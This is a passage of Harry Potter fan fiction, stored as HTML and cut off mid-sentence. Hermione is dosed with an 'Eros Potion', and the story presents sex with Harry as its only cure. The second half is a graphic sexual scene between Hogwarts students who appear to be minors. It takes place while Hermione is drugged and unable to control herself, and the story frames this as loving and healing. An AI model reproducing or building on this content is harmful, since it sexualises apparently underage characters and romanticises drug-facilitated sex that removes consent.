class="MsoNormal">Harry\nraced through the corridors of Hogwarts.&nbsp;\nHe nearly barged into the hospital wing, and Madam Pomfrey glared at\nhim.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Mr.\nPotter, this place is meant for people to heal in &#8211; not horse around!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m\nsorry, but I need your help,&#8221; he said breathlessly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You\nlook perfectly healthy to me!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;He&#8217;s\ntelling the truth, ma&#8217;am,&#8221; Ginny confirmed as she appeared in the doorway.&nbsp; It had taken her longer to get here because\nHarry&#8217;s legs were longer than hers.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Very\nwell, what seems to be the problem with you, Mr. Potter?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Madam\nPomfrey, it&#8217;s Hermione, she&#8217;s been given an Eros Potion.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The\nolder woman&#8217;s eyes widened in shock, and a worried expression crossed her\nfeatures.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Did\nyou just say an Eros Potion?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes\nma&#8217;am.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;How\nlong ago?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Maybe\na few hours,&#8221; Harry answered.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Both\nof you, come with me immediately!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Madam\nPomfrey grabbed her cloak and headed out the door with the pair right behind\nher.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">It\ntook Harry a few minutes, but he suddenly realized where they were heading &#8211;\nDumbledore&#8217;s office.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Excuse\nme, ma&#8217;am, where are we going?&#8221; Ginny inquired.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;To\nsee the headmaster, he must be informed at once!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Is\nthere a way to help Hermione?&#8221; Harry nearly pleaded.&nbsp; The elder woman turned her head, and her face was sick with\nworry.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Patience,\nMr. Potter, let us see Professor Dumbledore first.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;ve\nnever been to his office before, Harry,&#8221; Ginny said almost happily.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A\nfew more minutes and they were in front of the gargoyle statue.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Chocolate\nfrog!&#8221; Madam Pomfrey stated.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The\ngargoyle moved aside, and the trio headed up the hidden stairwell.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Albus\nDumbledore looked up from the parchment he was writing as he heard footsteps\nheading up into his office.&nbsp; First was\nMadam Pomfrey, then Harry Potter, and last Ginny Weasley.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Professor\nDumbledore, sir, we have a most urgent matter.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes,\nwhat has happened?&#8221; he asked and pushed his glasses up onto his nose.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;One\nof our students has been given an Eros Potion.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh\nmy goodness,&#8221; he said worriedly, despite his unshaken demeanor. &#8220;Who was the\nvictim?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It\nwas Hermione!&#8221; Harry jumped in, &#8220;We were studying in the library, and someone\nput it in her hot chocolate.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;This\nis most serious.&nbsp; Where is Miss Granger\nnow?&nbsp; We must find her at once.&nbsp; An Eros Potion is a most dangerous mixture.&nbsp; It&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;&#8230;Increases\na person&#8217;s sexual drive by a factor of ten,&#8221; Harry cut in again. &#8220;I know that,\nsir, Hermione&#8217;s already tried to seduce me and half the guys in Gryffindor!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh\ndear, somehow we must restrain her.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well\nprofessor, Ginny and I already did.&nbsp; We\nlocked her in her room, and I put a binding spell on her so she should stay put\nfor time being.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Smart\nthinking, Harry, that will buy us some time.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Can\nyou help her?&#8221; Ginny asked, looking at Professor Dumbledore.&nbsp; The older man&#8217;s face fell slightly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Madam\nPomfrey, perhaps you should answer that.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Unfortunately,\nthere is no known antidote for an Eros Potion.&nbsp;\nIt is considered one of the most diabolical mixtures ever\nconceived.&nbsp; In previous cases, it was\neven thought of as a form of rape!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Of\ncourse,&#8221; Harry gasped, &#8220;because the only way it will dissipate is if the victim\nsleeps with whoever gave it to him or her.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;How\nis it that you know all this, Mr. Potter?&nbsp;\nMost people have never heard of the Eros Potion, and it is never\ntaught!&#8221; Madam Pomfrey asked suspiciously.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;The\nperson who infected Hermione told me so.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;And\nwho was that?&#8221; Dumbledore inquired.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Draco\nMalfoy.&nbsp; He put it in her cup before I\neven showed up.&nbsp; When Hermione finished\nher hot chocolate, she became a completely different person; she nearly dragged\nme down on the floor.&nbsp; The effects wore\noff after a few minutes, and when she&#8217;d realized what happened, she bolted out\nof the library.&nbsp; After that, Malfoy\nshowed up behind me, laughing about everything he&#8217;d done.&#8221; Harry&#8217;s knuckles\nwere turning white as he spoke, and he was growling by the time he finished.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;If\nthat is true, Harry, he will be punished most severely,&#8221; Dumbledore said\nfirmly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Right\nnow though, we must help Miss Granger.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;As\nyou say, Mr. Potter, the effects of the Eros Potion are not completely\npermanent, but every time it overcomes its host, the effects last longer and\nlonger.&nbsp; If the &#8216;sensations&#8217; are not\nquenched, the person will be driven mad and eventually become totally insane.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ginny\ngrimaced at Madam Pomfrey&#8217;s explanation.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;So\nwhat are we supposed to do?&nbsp; Keep\nHermione in a binding spell forever?&#8221; she gasped.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;There\nmay be a chance, Miss Weasley, but it will require something.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What\nis it, professor?&#8221; Harry asked emphatically.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;If\nyou recall, Harry, when Voldemort tried to kill you, your mother&#8217;s love\nprotected you from his dark magic.&nbsp; Love\nis an ancient and powerful protection against evil.&nbsp; Its purity can counteract even the most nefarious of potions.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\nbegan to see where Dumbledore was leading with this, and he gulped slightly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I\nsee your point, Professor Dumbledore, but that would be asking a lot of both\nparties involved,&#8221; Madam Pomfrey said worriedly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What\nexactly are you asking, Professor Dumbledore?&#8221; Ginny asked curiously.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;If\nHermione were to sleep with someone who loves her, not as a friend but as a\nlover, the potion should become nullified.&nbsp;\nThe variable in the equation is that she must love that person as well,\nand Miss Granger will not be very forthcoming with that I&#8217;m afraid.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Bloody\nhell, that is a problem, but fortunately, we have the answer right here!&#8221; she\nsaid brightly and pointed at Harry.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ginny,\nwhat are you doing?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Come\non, Harry, you know that you&#8217;re in love with her &#8211; just tell her!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ginny,\neven if I did love her, I can&#8217;t just walk up to her and say &#8216;Hermione, we have\nto have sex, or you&#8217;ll become clinically insane!&#8217;&nbsp; That&#8217;s utterly ridiculous!&#8221; he answered, not even realizing that\nhe hadn&#8217;t denied his feelings for Hermione.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You&#8217;re\nthe best chance she has!&#8221; Ginny retorted.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Calm\ndown, you two,&#8221; Madam Pomfrey ordered.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry&#8230;you&#8217;re\nthe closest person in the world to Hermione.&nbsp;\nShe trusts you implicitly; tell me she doesn&#8217;t feel the same way about\nyou.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;She\ndoesn&#8217;t, Ginny.&nbsp; Hermione&#8217;s my best\nfriend; that&#8217;s all!&nbsp; She&#8217;s never even\nshowed an interest in me.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;All\nright, that&#8217;s enough,&#8221; Dumbledore interrupted, &#8220;I want the two of you to return\nto Gryffindor Tower and keep watch over Hermione.&nbsp; In the meantime, I will contact the Ministry of Magic&#8217;s Alchemist\ndivision and see if they have anything we could use.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thank\nyou, professor, I really appreciate it,&#8221; Harry said thankfully.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You\ntwo may go.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ginny\nwalked beside Harry, glaring at him menacingly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Coward!&#8221;\nshe muttered.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What&#8217;s\nthat?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You&#8217;re\na coward, Harry, you refuse to fess up to your own feelings.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ginny,\nthis isn&#8217;t about me; the love has to run both ways remember?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh\nplease, don&#8217;t even start, Hermione&#8217;s followed you to hell and back, and she&#8217;d\ndo it again.&nbsp; What girl in her right\nmind would do all that and not love you?&nbsp;\nHermione&#8217;s a very private person; she&#8217;s not the type to just scream out\nher deepest desires.&nbsp; First off, have\nyou even asked her if she felt something towards you?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\nlowered his head slightly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No,\nafter she and Ron dated by in fifth year, I felt that it wasn&#8217;t my place to ask\nher that.&nbsp; She could have anyone she\nwants; a guy would be an idiot to not want her!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Then\nlook in the mirror idiot!&#8221; Ginny laughed.&nbsp;\nHarry realized that he&#8217;d been caught in his own trap.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;All\nright, I see your point, but seriously, if we were together, and she didn&#8217;t\nlove me, how would Hermione feel about it?&nbsp;\nI don&#8217;t want to use her like that!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I\ndon&#8217;t think she would hate you for it.&nbsp;\nIn fact, I think she&#8217;d be happy that it was her best friend she was with\nand not some one night stand.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\nlet her words churn in his brain for a while until he made a decision.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ginny,\ncan you and the girls give me the room for tonight?&#8221; he nearly whispered.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sure\nthing, take as long as you need,&#8221; she replied and patted his arm.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\nswallowed the lump in his throat and continued towards the tower.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Upon\nentering the common room, Harry felt all eyes shift towards him.&nbsp; His stomach was full of butterflies, but he\nremained calm.&nbsp; He headed for the\nstairwell when an errant thought crossed his mind.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ginny,\nI need another favor.&nbsp; When Ron gets\nback with Lavender, could you&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Not\nto worry, I&#8217;ll run damage control,&#8221; she chuckled.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thanks,\nyou&#8217;re a lifesaver.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Your\nwelcome, now go on!&#8221; she ordered.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry&#8217;s\npalms were sweating, and his legs felt like rubber as he climbed the stairs\ntowards the girls&#8217; dormitory.&nbsp; He\napproached the correct door and sighed gratefully at seeing his lock was still\nin place.&nbsp; Taking out his wand, he\nremoved the spell and pushed it open.&nbsp;\nOnce inside, Harry resealed the door and put away his wand.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Here\ngoes nothing.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He\nquietly walked toward the bed and found her just as he&#8217;d left her.&nbsp; Hermione was lying on her back as stiff as a\nboard.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Release!&#8221;\nHarry muttered.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Her\nbody relaxed, and Hermione slowly opened her eyes.&nbsp; She found that she was on her bed, but how did she get here?&nbsp; Her vision focused, and she saw Harry\nsitting next to her.&nbsp; The memories of\nthe night flooded into her conscious thought, and her eyes widened in horror.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh\nmy gosh, Harry, what have I done?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Shh,&#8221;\nhe quieted her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\nreached out and took her in his arms.&nbsp;\nHermione tried to push him away, but he held fast.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry,\nplease don&#8217;t, I can&#8217;t control what&#8217;s happening to me?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He\nlooked down at her with tender eyes and brushed the hair out of her face.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Mione&#8230;&#8221;\nhe sighed and finally let himself look at her as someone he loved.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione\nhad never heard him speak like that; his eyes looked so warm&#8230;so inviting.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry&#8230;I&#8230;I\nmean&#8230;&#8221; not knowing what to say to the depth of emotion his eyes were showing her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He\ncupped her face in his hands and tilted her chin up.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It&#8217;s\nalways been you, Mione&#8230;just you.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Tears\nwere filling her eyes, and her heart pounded against her chest.&nbsp; She prayed that the fire would hold off for\na few more seconds.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry&#8230;I&#8230;I&#8230;what\ndo you mean?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I\nlove you, Mione,&#8221; he cut her off.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Suddenly,\nhis mouth was on hers, but this time, it was of his own volition, and it was so\nwonderful.&nbsp; He drank her in, and she\nwent limp in his arms.&nbsp; Pulling back\nafter a few sweet moments, Harry saw the desire in her eyes, but it wasn&#8217;t from\nthe potion but Hermione herself.&nbsp; She\nhad actually wanted him to kiss her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\nsaw the flames begin to dance behind her eyes, and he knew that he was running\nout of time.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Mione,\nlet me love you.&nbsp; Let me love you as you\nwere meant to be loved &#8211; like the precious treasure that you are.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Her\nmind was slipping away fast, but she heard his heartfelt words.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes&#8230;Harry&#8230;please&#8230;&#8221;\nand the fires consumed her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(225, 3, '\n\n\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione\ngrabbed Harry&#8217;s face and mashed their lips together.&nbsp; Her hands ran up and down his body, and he groaned deeply into\nher mouth.&nbsp; Hermione pushed his robes\noff his shoulders, and his arms went slack to let it slide off.&nbsp; Harry reciprocated as he lifted her off the\nbed and pulled off her robes.&nbsp; His eyes\nnarrowed at seeing her jumper stretched quite appealingly across her breasts.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;By\nMerlin, I want you, Harry!&#8221; she nearly screamed.&nbsp; Despite his boiling blood, he would not let a stupid potion ruin\nher first time.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Patience\nMione, all in good time,&#8221; he murmured softly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione\ngrunted in disappointment, but only until he lowered his body down on top of\nhers.&nbsp; Harry&#8217;s fingers began undoing her\nblouse, and his hand snaked underneath to stroke her stomach.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Damn\nyou, Potter!&#8221; she growled.&nbsp; Her nails\nraked down the front of his chest, and he was shocked when she tore his shirt\nopen.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hmm,\nvery nice, lover,&#8221; she cooed and squeezed his firm abs.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\nwould not be deterred from his objective, and despite her exquisite hands, he\nfinally finished undoing her shirt.&nbsp; He\npulled the material off her shoulders and let go of her swollen lips.&nbsp; He kissed each bare shoulder, and Hermione\nleaned up to slip her arms out of the sleeves.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8216;Bloody\nhell, she&#8217;s gorgeous!&#8217;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\nknew that she filled out her clothes well, but he nearly fainted at seeing a\nwhite, lacy bra encasing her full, round breasts.&nbsp; Hermione giggled seductively and trailed her fingers down his\ncheek.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Like\nwhat you see?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The\nyoung wizard was trying with all his might to hold onto his sanity.&nbsp; He just wanted to drop into her arms and let\nthe desire sweep them away.&nbsp; When he\ndidn&#8217;t answer her, Hermione decided to turn up the heat.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well&#8230;maybe\nyou&#8217;ll like this better&#8230;&#8221; and she reached behind her and undid the clasp.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry&#8217;s\neyes were glued to her chest as he watched her slide the lace material from her\nbody.&nbsp; A simple tug, and she lay open\nand unbidden for his hungry eyes.&nbsp; Harry\ncouldn&#8217;t resist and cupped her right breast in his hand; it fit perfectly in\nhis palm.&nbsp; He squeezed the firm mound,\nand Hermione gasped in pleasure.&nbsp; His\nthumb brushed over the hard, rosy tip, and she nearly tore his hair out.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Take\nthem, Harry, please!&#8221; she begged.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The\nlast of his restraints fell, and he replaced his fingers with his eager\nmouth.&nbsp; He drew the bud into his mouth,\nand Hermione arched towards him in delight.&nbsp;\nShe pushed his head against her breast and nearly mewled when his tongue\ncame into play.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8216;By\nMerlin, how can she be so sweet?&#8217;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\ncouldn&#8217;t help himself as he feasted on Hermione&#8217;s body.&nbsp; He&#8217;d never felt such wanton desire towards\nanyone, and it wasn&#8217;t because she was under magical influence.&nbsp; This came from deep within his soul - a\ndesire to be with the one that he truly loved with all his heart.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry&#8230;the\nother one&#8230;take the other one too!&#8221; she gasped.&nbsp;\nHe didn&#8217;t dare argue with her; he was completely addicted to her taste.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">His\nmouth swept across her body and fastened onto her left breast.&nbsp; Hermione held his head in place as he\nsuckled her gently.&nbsp; His free hand ran\ndown her smooth stomach and reached for the zipper on her skirt.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ah,\nfrisky tonight are we?&#8221; she giggled and licked her lips.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\npulled off her skirt to find a matching pair of panties underneath.&nbsp; He continued working on her supple breasts\nas his left hand brushed across the front of her panties.&nbsp; Hermione&#8217;s hips snapped forward, and he drew\nhis hand back.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Do\nit again, Harry!&#8221; she gasped.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">This\ntime, he pressed his palm firmly against her junction, and he immediately felt\nthe warm moisture underneath.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Mione,\nyou are truly breathtaking!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thank\nyou, but now, it&#8217;s my turn!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She\nsuddenly pushed him off her and flipped him onto his back.&nbsp; Harry was completely surprised and offered\nno resistance.&nbsp; Hermione pulled off his\nripped shirt, and her nails raked down his chest.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ahhhhhh!!!&#8221;\nhe groaned, and his head fell back.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Time\nfor me to give you some special treatment too!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione&#8217;s\neyes were nearly glazed over with lust, and she quickly unbuckled his pants.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Up!&#8221;\nshe ordered, and Harry immediately lifted his hips to aid her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oooooh,\nsilk&#8230;I like it!&#8221; Hermione ran her fingers along his silk boxers and found a\nprominent bulge right in the center.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Mione!&#8221;\nhe cried out as she squeezed him firmly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;My\ngoodness that must be painful for you, love&#8230;&#8221; Her lips quirked up into a sly\ngrin, and she grasped the waistband of his shorts, &#8220;&#8230;let me help you with\nthat!&#8221; and she pulled them off his legs.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\nblushed bright red as he was now completely exposed to her burning, brown\neyes.&nbsp; If anything, the fire in them was\ntwice as bright as before.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8216;Hmm\nmmm, what a site!&#8217; Hermione giggled silently.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She\ncould just imagine how many girls would kill to be in her position right now &#8211;\nto know what Harry Potter kept under those loose robes.&nbsp; She had no complaints &#8211; particularly about a\ncertain piece of anatomy that was long and hard.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry&#8230;&#8221;\nshe cooed softly and slid her body up his legs.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He\nlooked down and immediately regretted it.&nbsp;\nThere lay Hermione between his legs; her perfect breasts brushing\nagainst his stiff rod.&nbsp; He fisted his\nhands in the sheets trying not to moan as her soft flesh pressed up against\nhim.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Dammit\nHermione!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">It\nexcited her to know that she could do this to him and barely even be touching\nhim.&nbsp; Her small hands eagerly reached\nfor their target, and a thunderbolt ran through his body when she grasped him\nfirmly.&nbsp; Her fingertips stroked up and\ndown his length, and Harry ground his teeth together trying to endure her\ntorture.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione\nlooked at his member twitching in her 